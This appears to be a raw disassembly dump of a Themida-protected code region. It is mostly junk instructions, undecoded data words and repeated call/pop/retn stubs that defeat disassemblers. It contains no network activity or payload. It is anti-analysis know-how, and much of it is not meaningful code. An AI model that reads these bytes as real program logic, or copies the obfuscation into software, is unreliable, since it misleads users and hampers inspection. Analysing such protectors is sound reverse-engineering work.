loc_5D2626:				; CODE XREF: Themida_:005D261Bj
		mov	eax, [ebp+7D13079h]
		add	eax, 7
		mov	[ebp+7D1287Dh],	ecx
		add	eax, 0
		mov	ebx, [ebp+7D13331h]
		mov	[ebp+7D10725h],	esi
		cmp	edx, eax
		jnb	loc_5D2683
		pusha
		call	near ptr loc_5D265E+1
		cwde
		mov	bh, 64h
		mov	ecx, 47A9E4ADh
		sub	al, dh
		fnstenv	byte ptr [esi]


loc_5D265E:				; CODE XREF: Themida_:005D264Dp
		mov	ah, 0Fh
		mov	eax, [eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 80605F00h, 9589F0D8h, 7D108C9h, 54E96161h, 89000000h
		dd 0D125D98Dh, 8D9D8B07h
; ---------------------------------------------------------------------------
		adc	edx, ecx
		pop	es


loc_5D2683:				; CODE XREF: Themida_:005D2646j
		mov	ecx, [ebp+7D12725h]
		or	ebx, 374DA94Ah
		and	ecx, 1
		jz	loc_5D26CB
		mov	ebx, edx
		and	dword ptr [ebp+7D12725h], 0FFFFFFFEh
		jmp	loc_5D26B4
; ---------------------------------------------------------------------------
		dw 2973h
		dd 0C61495BBh, 9BEEDF42h, 0E067F604h
; ---------------------------------------------------------------------------


loc_5D26B4:				; CODE XREF: Themida_:005D26A1j
		mov	[ebp+7D13079h],	edx
		add	[ebp+7D11FADh],	ebx
		mov	[ebp+7D125C9h],	ebx
		jmp	$+5


loc_5D26CB:				; CODE XREF: Themida_:005D2692j
		lea	esi, [ebp+7D53541h]
		jmp	loc_5D26DB
; ---------------------------------------------------------------------------
		dw 0F1CDh
; ---------------------------------------------------------------------------
		retn	3EDEh
; ---------------------------------------------------------------------------


loc_5D26DB:				; CODE XREF: Themida_:005D26D1j
		push	0
		mov	bl, al
		call	dword ptr [ebp+7D10055h]
		push	0
		push	edi
		call	sub_5D26F0
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D26F0	proc near		; CODE XREF: Themida_:005D26E8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D26F0	endp

; ---------------------------------------------------------------------------
		or	eax, 52821A32h
		pop	ebp
		mov	al, 0DDh
		cmpsd
		stc
		mov	[ebp+7D11435h],	eax
		mov	ecx, 8A2h
		push	0
		push	ebx
		call	sub_5D2720
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2720	proc near		; CODE XREF: Themida_:005D2718p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5D2720	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:61527ED8h
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_5D2743
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D2743	proc near		; CODE XREF: Themida_:005D273Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D2743	endp

; ---------------------------------------------------------------------------
		db 4Ah
		dd 2D486519h, 0FB09A8Bh, 1D8Fh,	11E800h, 0D3AE0000h, 0EF497369h
		dd 0B06A41E9h, 1A435200h, 0F31F989h, 8Bh, 89FC5F00h, 0D113FD95h
		dd 0B807h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 651462C3h, 0E4A9885h, 0BD8BE5C7h
		dd 7D13165h, 0BAh, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1704h, 0C3514100h, 3919763Ch, 22359D8Bh
		dd 33AD07D1h, 3E8D1C2h,	4E983D0h, 8C0FF475h, 1,	56006AF8h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 8BADB378h, 0D11BF99Dh, 880D07h, 9D330000h, 7D11DD9h
		dd 1B51958Bh, 6A07D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8D8B4AC3h, 7D12D55h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7CC35747h, 0D4C11844h
		dd 0DE94407h, 2C000000h, 6F2ED1EDh, 81B866D7h, 50EF84Ch
		dd 0C3E4F4BBh, 2DBD8915h, 5007D107h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 811A8BADh
		dd 339BED5Eh, 0D1327D9Dh, 0D88B6607h, 38F0Fh, 8B660000h
		dd 0A5BD8BF9h, 8307D11Bh, 0D11BC5BDh, 840F0007h, 6Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 1BC35040h, 0BD89F5EDh
		dd 7D11BADh, 33919589h,	0B807D1h, 89000000h, 0D129059Dh
		dd 1D9D8907h, 8D07D11Dh, 0D14D0A8Dh, 0BD0BFC07h, 7D119F9h
		dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0E2CE99C3h, 0E6A1A659h, 83F88B00h, 0D11D39BDh
		dd 840F0007h, 306h, 0F7BF6660h,	0BD836139h, 7D11D39h, 0E840F01h
		dd 80000003h, 0BD83EED7h, 7D11D39h, 0C8860F03h,	6A000002h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 66F1C352h, 0AE901E2h, 0CA000000h,	561EE1C7h
		dd 0D78D38Fh, 66F560EFh, 860FD98Ch, 2, 0E180F98Ah, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0D185BFA1h, 0B5892081h, 7D11C7Dh, 840FC90Ah,	0D5h, 28F5858Bh
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 6BF7EC3h,	33D3A1BDh, 0D131CD85h, 0FA8B6607h
		dd 0F905090h, 6AFAB7h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6C35040h, 35AD707Eh, 32ED9D8Bh, 0B70F07D1h
		dd 2A4568FBh, 0B26029BEh, 12E9CDh, 0E67F0000h, 0FDB91486h
		dd 92A510A3h, 311641DDh, 948D24A3h, 24348161h, 29A129BAh
		dd 0FFFEB70Fh, 0D12B1595h, 8589F507h, 7D4EA5Ah,	0A59D8B56h
		dd 5B07D115h, 182D8D89h, 5CE907D1h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 3CA4C350h, 0D02ADD7h, 61BF4F81h, 0DFEFD1BBh,	52858B6Ah
		dd 107D4EAh, 0D12D999Dh, 79BD8B07h, 0C707D119h,	1800h
		dd 6DBD0300h, 0BB07D134h, 1339FC1Ch, 0EA56B58Bh, 0F0BB07D4h
		dd 8B01F93Eh, 0D10C9D85h, 0EF816607h, 6899ECCh,	8BDAB70Fh
		dd 0D128F585h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 468941CAh, 0DDB58904h
		dd 9607D124h, 8B525050h, 66310FF8h, 5AC305BBh, 9D019658h
		dd 7D103C1h, 0EA52B5FFh, 696807D4h, 60311AB9h, 4F807ABFh
		dd 34816148h, 5BA9624h,	53006A31h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 793EC9B1h, 96D75FDFh
		dd 0BE60664Dh, 7E99E19h, 0BF5BD89h, 8D6107D1h, 0D4EA5A85h
		dd 0BE807h, 62450000h, 0A4892F8Fh, 486F99B2h, 419D8BD7h
		dd 5F07D115h, 50515090h, 0F5B5052h, 8B0F31h, 5A000000h
		dd 81905F58h, 685354EFh, 1595FF62h, 6A07D12Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0C9B1C353h, 8E58BF66h, 11099D0Bh, 9ABB07D1h,	614A6A70h
		dd 0CFBF0F60h, 3985C761h, 307D11Dh, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3E57C356h, 0BD83FEFFh, 7D4EA5Ah, 18840F00h, 50000000h
		dd 20A98589h, 0E95F07D1h, 26h, 0DBB70F56h, 0F19D035Fh
		dd 5007D108h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0DD4941C3h, 8B661186h, 38D0FFEh
		dd 0F000000h, 0DE8BF9B7h, 1CC5B589h, 0BD8307D1h, 7D11D39h
		dd 0C0850F03h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0F24CC352h,	0EA5ABD83h
		dd 0F0007D4h, 49684h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 7AB1DC60h, 0BEA5A42Ah
		dd 0DCE78166h, 5AB5FFCBh, 5107D4EAh, 95FF5FF5h,	7D12EB1h
		dd 28E0Fh, 5B520000h, 0EA4EB58Bh, 0BD8907D4h, 7D1339Dh
		dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 60EFF9C3h, 0B52961F9h, 7D133E9h
		dd 58D0F96h, 0BB000000h, 242A278h, 14E850h, 6FDB0000h
		dd 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah, 0BCF3387Ah,	0EE80547h
		dd 0A3000000h, 52F717BCh, 3C52BB60h, 0F1CD2045h, 965B5FC2h
		dd 1FA19D8Bh, 0B5FF07D1h, 7D4EA5Ah, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 2EC35343h, 0A595FF35h, 8B07D131h
		dd 0D4EA4EB5h, 858BF807h, 7D12B31h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 61C35141h, 8ED385EEh, 0C486891Ch
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 8D6C355h, 0DB8166CDh, 0F88B18C2h
		dd 200DB529h, 958B07D1h, 7D11B51h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 3FC35747h, 818529C1h, 8307D100h
		dd 6A04C2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0FEACD2C3h, 16D5AAACh, 0D99D896Dh, 8907D11Eh
		dd 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 430253C3h, 0CC61C74Ah, 8DF5ECEAh,	0D4FEE585h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0BF661F1Ah, 86892A26h, 0B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9EC35141h, 49742016h
		dd 7151086Ah, 1870F4Ch,	0F5000000h, 0BD89006Ah,	7D12D59h
		dd 0EA5AB5FFh, 6A07D4h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 98489AC3h, 0ADB964B7h, 89DF8BE4h
		dd 0D11445BDh
		dd 0E995FF07h, 6A07D11Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 5CFCC350h, 10E8h, 1CDB3E00h
		dd 9AB839E8h, 2AE11BAFh, 33D8DCF9h, 0E58D8991h,	5B07D11Dh
		dd 8E9h, 84DEA800h, 4A16B845h, 0BD8950DCh, 7D105D9h, 3489505Fh
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF505914h, 0D4EA5AB5h, 958B6007h, 7D118E1h
		dd 6E9h, 0D1648F00h, 612B4047h,	2D9D95FFh, 6A07D1h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 2EDE72C3h, 12E9B2DEh, 0B000000h, 0CBDF4545h,	5154CDD5h
		dd 637899A5h, 97B4FE04h, 0A9B5896Ch, 8307D131h,	0D12809BDh
		dd 840F0007h, 37h, 5E9h, 0CFFE2100h, 8D0F7B00h,	6, 1BAD8D89h
		dd 0B35007D1h, 243489E5h, 0CE96060h, 56000000h,	48F30486h
		dd 0CA461D7Bh, 189ECBAh, 0D10FD5BDh, 0FF616107h, 0D4EA5AB5h
		dd 0D7816607h, 95FF679Bh, 7D132B5h, 0A5BD8Bh, 0B5FF07D1h
		dd 7D4EA5Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	3FC35040h, 591B589h, 95FF07D1h,	7D12709h, 0FC1BD83h
		dd 0F0207D1h, 9984h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4C561D4Bh, 0BFB84127h
		dd 0B33D38Dh, 2BFBBF0Fh, 0D12929BDh, 25858B07h,	6A07D11Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 46F4C355h, 73C7BC73h, 0E945F3EFh,	0Bh, 0CFC1993h
		dd 9392ABC2h, 0FCAFA075h, 6A0000C6h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0AF81C351h
		dd 7E952h, 60B10000h, 987E5E20h, 85C75F1Dh, 7D122CDh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D316B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D316B	proc near		; CODE XREF: Themida_:005D3163p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D316B	endp

; ---------------------------------------------------------------------------
		jnp	short locret_5D31EE
		test	dl, 4Ah
		fsub	st, st(1)
		jmp	loc_5D3195
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------
		retf	7BC8h
; ---------------------------------------------------------------------------
		db 9Dh
		dd 0BE788E17h, 9F102E9h
		db 0B4h
; ---------------------------------------------------------------------------


loc_5D3195:				; CODE XREF: Themida_:005D3182j
		mov	[ebp+7D12C79h],	ebx
		jmp	near ptr dword_5D251C+1Ch
; ---------------------------------------------------------------------------
		adc	edi, 11AA74A3h
		mov	eax, ecx
		push	0
		push	ecx
		call	sub_5D31B3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D31B3	proc near		; CODE XREF: Themida_:005D31ABp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D31B3	endp

; ---------------------------------------------------------------------------
		push	esp
		scasd
		xor	eax, 0BF9911BBh
		db	3Eh, 36h
		leave
		cmp	ecx, [ebp-2EEC9E7Bh]
		pop	es
		push	0
		push	eax
		call	sub_5D31DF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D31DF	proc near		; CODE XREF: Themida_:005D31D7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax

locret_5D31EE:				; CODE XREF: Themida_:005D317Bj
		retn
sub_5D31DF	endp

; ---------------------------------------------------------------------------
		db 0E3h
; ---------------------------------------------------------------------------
		mov	byte ptr [edi-7], 7
		adc	ecx, [edx-49h]
		cmpsb
		mov	ebx, [ebp+7D11435h]
		push	eax
		mov	edi, 677345EFh
		mov	[esp], eax
		mov	ebx, 37FB5B8Bh
		push	0
		push	0
		push	ecx
		call	sub_5D3219
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3219	proc near		; CODE XREF: Themida_:005D3211p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5D3219	endp

; ---------------------------------------------------------------------------
		db 67h,	75h, 0ECh
		dd 0FE6645D2h, 199D8BA6h, 6A07D12Bh, 8E900h, 1C190000h
		dd 0B0024EA6h, 0BD8B8DE8h, 7D12C29h, 0CD82858Dh, 665207D5h
		dd 835FF88Bh, 10E905C0h, 9B000000h, 13B3C4D3h, 2BE4316h
		dd 0EBE82EC0h, 90076329h, 0BE95250h, 0E9000000h, 0A5E073CAh
		dd 0C5B557A2h, 310FB031h, 0C6F2BB66h, 5050585Ah, 50310F52h
		dd 60310F52h, 5A585A61h, 0F98B9058h, 0BD33006Ah, 7D115BDh
		dd 0B589006Ah, 7D11C79h, 2F359589h, 95FF07D1h, 7D11DE1h
		dd 195D9D8Bh, 8D8D07D1h, 7D4D566h, 14E8h, 1D320E00h, 13B8B8F7h
		dd 0CFBE6685h, 66B8B5C0h, 0AF83E58Bh, 0D1FF5F6Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 48C35242h, 83EFB3BDh
		dd 0D11715BDh, 850F0107h, 0B4h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 60C35343h, 0A5E7BA67h, 8D891D5Fh
		dd 7D12989h, 9E8h, 84D87700h, 3E5E600Fh, 0BD89CC20h, 7D118C5h
		dd 6A026A5Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 2314C352h, 0F71D46Bh, 880FFABFh
		dd 0
		db 90h
		db 8Bh,	0FBh, 50h
		dd 11E8h, 449CD600h, 0FFE08D38h, 114E8720h, 567683B6h
		dd 0D7BF7A77h, 5F2ECBFDh, 0E995FF90h, 6A07D11Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0E80FC355h, 0BB8595B2h, 611A6B9Dh, 0D56E9h, 0E800h
		dd 815D0000h, 0D5CD8CEDh, 1FBB6607h, 53006A43h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E99EA282h
		dd 0Eh,	341B3413h, 0FF75E063h, 0D4DA76AFh, 858D3406h, 7D4BC77h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 97C35141h
		dd 97BB71F4h, 902599C5h, 0BD299050h, 7D12C8Dh, 35FF64h
		dd 0E9000000h, 6, 0E181674Dh, 0F3818DD0h, 7143B6AEh, 258964h
		dd 81000000h, 0A06DF7F3h, 0F7BF665Fh, 2185FF41h, 6A07D129h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0C9E9C357h, 6AFF6Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 70B4A1C3h, 816621C3h
		dd 0FFBF21CBh, 0D11C21B5h, 0C19D3307h, 0FF07D101h, 0D1141D95h
		dd 11FE907h, 0B0F80000h, 6870F00h, 8B000000h, 0D118F9BDh
		dd 0F70E607h, 71E4FAB7h, 11E9h,	59D06D00h, 6BFEA5E4h, 37D431A1h
		dd 697B34B3h, 613C868Bh, 0EB830Fh, 8D890000h, 7D11AB1h
		dd 89C8B60Fh, 0D13161BDh, 6BA07h, 0C18B0000h, 23919D2Bh
		dd 0E8C107D1h, 0D9BF0F04h, 81E2F766h, 38A1A2CBh, 8BC82B19h
		dd 0D10FADBDh, 0FD18B07h, 6E9DFBFh, 0B000000h, 0D100B99Dh
		dd 71858B07h, 8007D120h, 0C08338CFh, 12E907h, 20E80000h
		dd 80AAE956h, 8CFF9CDFh, 34DED881h, 0E9FC2464h,	0B00C083h
		dd 0D133DDBDh, 0FD03B07h, 1283h, 0DDBD8B00h, 8B07D113h
		dd 0D10C6DBDh, 63E907h,	8BF90000h, 0D11EA98Dh, 85896007h
		dd 7D10C75h, 2B2D8D8Bh,	836107D1h, 840F01E1h, 45h, 0A8B0Fh
		dd 51600000h, 3D8D895Bh, 6107D111h, 1EA9A583h, 66FE07D1h
		dd 9589F88Bh, 7D12071h,	81666060h, 0E9710BCAh, 6, 2FF2F2E7h
		dd 61618852h, 6870Fh, 0BD8B0000h, 7D12F29h, 0E9h, 61B58D00h
		dd 0E907D53Fh, 0Eh, 2E1B6608h, 35253F51h, 0F4B8C339h, 6AEC10h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0C8C35040h
		dd 0EE8h, 8DBFCB00h, 3139E38Dh,	0B27665Ch, 8B6F2A47h, 0D1316DBDh
		dd 95FF5B07h, 7D10055h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 4EC35343h, 2EDD9D03h,	880F07D1h, 0
; ---------------------------------------------------------------------------
		mov	ecx, 6DCh
		jmp	loc_5D3671
; ---------------------------------------------------------------------------
		dw 4B6Fh
		dd 0E210CA74h
		db 0BBh
; ---------------------------------------------------------------------------


loc_5D3671:				; CODE XREF: Themida_:005D3665j
		and	ecx, 0FFFFFFFCh
		push	0
		push	esi
		call	sub_5D367F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D367F	proc near		; CODE XREF: Themida_:005D3677p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D367F	endp

; ---------------------------------------------------------------------------
		sub	bl, dl
		push	eax
		and	di, 5A15h
		jge	loc_5D36A8
		ja	loc_5D36A8
		mov	ebx, 1D46C6FCh


loc_5D36A8:				; CODE XREF: Themida_:005D3697j
					; Themida_:005D369Dj
		cld
		jge	loc_5D36B0
		clc


loc_5D36B0:				; CODE XREF: Themida_:005D36A9j
		mov	eax, 0
		push	0
		push	esi
		call	sub_5D36C0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D36C0	proc near		; CODE XREF: Themida_:005D36B8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D36C0	endp

; ---------------------------------------------------------------------------
		ja	short loc_5D373B
		das
		retn
; ---------------------------------------------------------------------------
		dd 0E5973316h, 0BA6617h, 89000000h, 0D105ADB5h,	0C233AD07h
		dd 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 789750D4h
		dd 89F0EB41h, 0D113C995h, 0F810F07h, 0E9000000h, 0Ah, 614B2A4Bh
		dd 42C56CA8h, 880DC11Ch, 0E9000000h, 14h
		db 88h,	0CFh, 6Ah
; ---------------------------------------------------------------------------


loc_5D373B:				; CODE XREF: Themida_:005D36D0j
		sahf
		mov	edi, 2E8D46E6h
		push	ebx
		fdiv	dword ptr [eax+67h]
		retf	6E81h
; ---------------------------------------------------------------------------
		aaa
		sbb	eax, 0F88BAD2Ah
		mov	edx, [ebp+7D11B51h]
		mov	[ebp+7D103D9h],	edx
		mov	ecx, [ebp+7D12D55h]
		and	bx, 6C8Fh
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		push	0
		push	edi
		call	sub_5D3782
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3782	proc near		; CODE XREF: Themida_:005D377Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D3782	endp

; ---------------------------------------------------------------------------
		dw 0F0AAh
; ---------------------------------------------------------------------------
		imul	eax, [ebx-43h],	-24h
		cld
		popa
		jnp	short near ptr loc_5D379C+4


loc_5D379C:				; CODE XREF: Themida_:005D379Aj
		sub	[ebp+7D10911h],	edi
		push	0
		push	ecx
		call	sub_5D37AD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D37AD	proc near		; CODE XREF: Themida_:005D37A5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5D37AD	endp

; ---------------------------------------------------------------------------
		db 0F0h, 0E5h, 5Ah
; ---------------------------------------------------------------------------
		xor	dh, [ecx-11h]
		and	[ebx-2EDB8A43h], ecx
		pop	es
		cmp	dword ptr [ebp+7D11BC5h], 0
		jz	loc_5D384E
		push	0
		push	edi
		call	sub_5D37E2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D37E2	proc near		; CODE XREF: Themida_:005D37DAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5D37E2	endp

; ---------------------------------------------------------------------------
		dw 0B9A9h
		dd 9F0775F8h, 0B824h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E3817EC3h, 74A73876h
		dd 4D0A8D8Dh, 0B58907D1h, 7D1152Dh, 6AE1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 76D58AC3h
		db 80h,	2Bh
; ---------------------------------------------------------------------------


loc_5D384E:				; CODE XREF: Themida_:005D37D1j
		cmp	dword ptr [ebp+7D11D39h], 0
		jz	loc_5D3C8C
		mov	edi, 5BBA914Bh
		cmp	dword ptr [ebp+7D11D39h], 1
		jz	loc_5D3CA7
		push	0
		push	eax
		call	sub_5D3878
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D3878	proc near		; CODE XREF: Themida_:005D3870p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D3878	endp

; ---------------------------------------------------------------------------
		mov	[esi+10h], edx
		push	ds
		mov	bh, 1Ah
		adc	eax, 39BD830Ch
		sbb	eax, 0F0307D1h
		xchg	dl, ah
		add	eax, [eax]
		add	[edx+0], ch
		push	ecx
		call	sub_5D38A8
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D38A8	proc near		; CODE XREF: Themida_:005D38A0p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5D38A8	endp

; ---------------------------------------------------------------------------
		dd 26A47D4Ah, 82953190h, 6890Fh, 9D8B0000h, 7D12CF9h, 0FEF38166h
		dd 6A6013h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0F0B508C3h, 12E9h, 0AD020D00h, 1B6857FFh
		dd 1F0DA8D8h, 0CB883B5Dh, 6641B2DCh, 8160D98Ch,	52FD7C6h
		dd 5D852320h, 6107D127h, 6A04E180h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E863C357h
		dd 0Ah,	0A6451232h, 6198F245h, 5BF5C3BFh, 840FC90Ah, 0ECh
		dd 26B1B589h, 858B07D1h, 7D128F5h, 7E9h, 7FCA4D00h, 0A8C02CDDh
		dd 31CD8533h, 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 379394C3h, 0D98B6650h, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 46E0C356h, 17D67957h, 802DBC61h, 958978E7h
		dd 7D11B99h, 8D0F006Ah,	1, 54EF68F5h, 0BF66E9A4h, 481470Bh
		dd 7AAF1024h, 0DF8B6616h, 2B1595FFh, 6A07D1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0A48F51C3h
		dd 0BD8B4728h, 7D120B5h, 0EA5A8589h, 6A07D4h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 9B696BC3h
		dd 3707419h, 18CE9h, 0A9BB5300h, 5B23F425h, 0EA52858Bh
		dd 9D8B07D4h, 7D113E5h,	1800C7h, 0B58B0000h, 7D4EA56h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5AC35646h
		dd 0AE5AC781h, 858B114Ch, 7D10C9Dh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 2CC35343h, 0F5B6CD6h, 88Ah
		dd 2860F00h, 60000000h,	6A068961h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 59F4C357h
		dd 544E20F0h, 81662398h, 8964D8CFh, 0D10239B5h,	0F5858B07h
		dd 107D128h, 0D105B995h, 4468907h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 25C35545h, 0AD85890Dh, 0F07D10Fh
		dd 48Dh, 4CBB6600h, 880F96E6h, 9, 38F0Fh, 8B660000h, 0D88B50DFh
		dd 52B5FF96h, 6607D4EAh, 9768DA8Bh, 0E9BF3B64h,	0Ah, 49CC4E28h
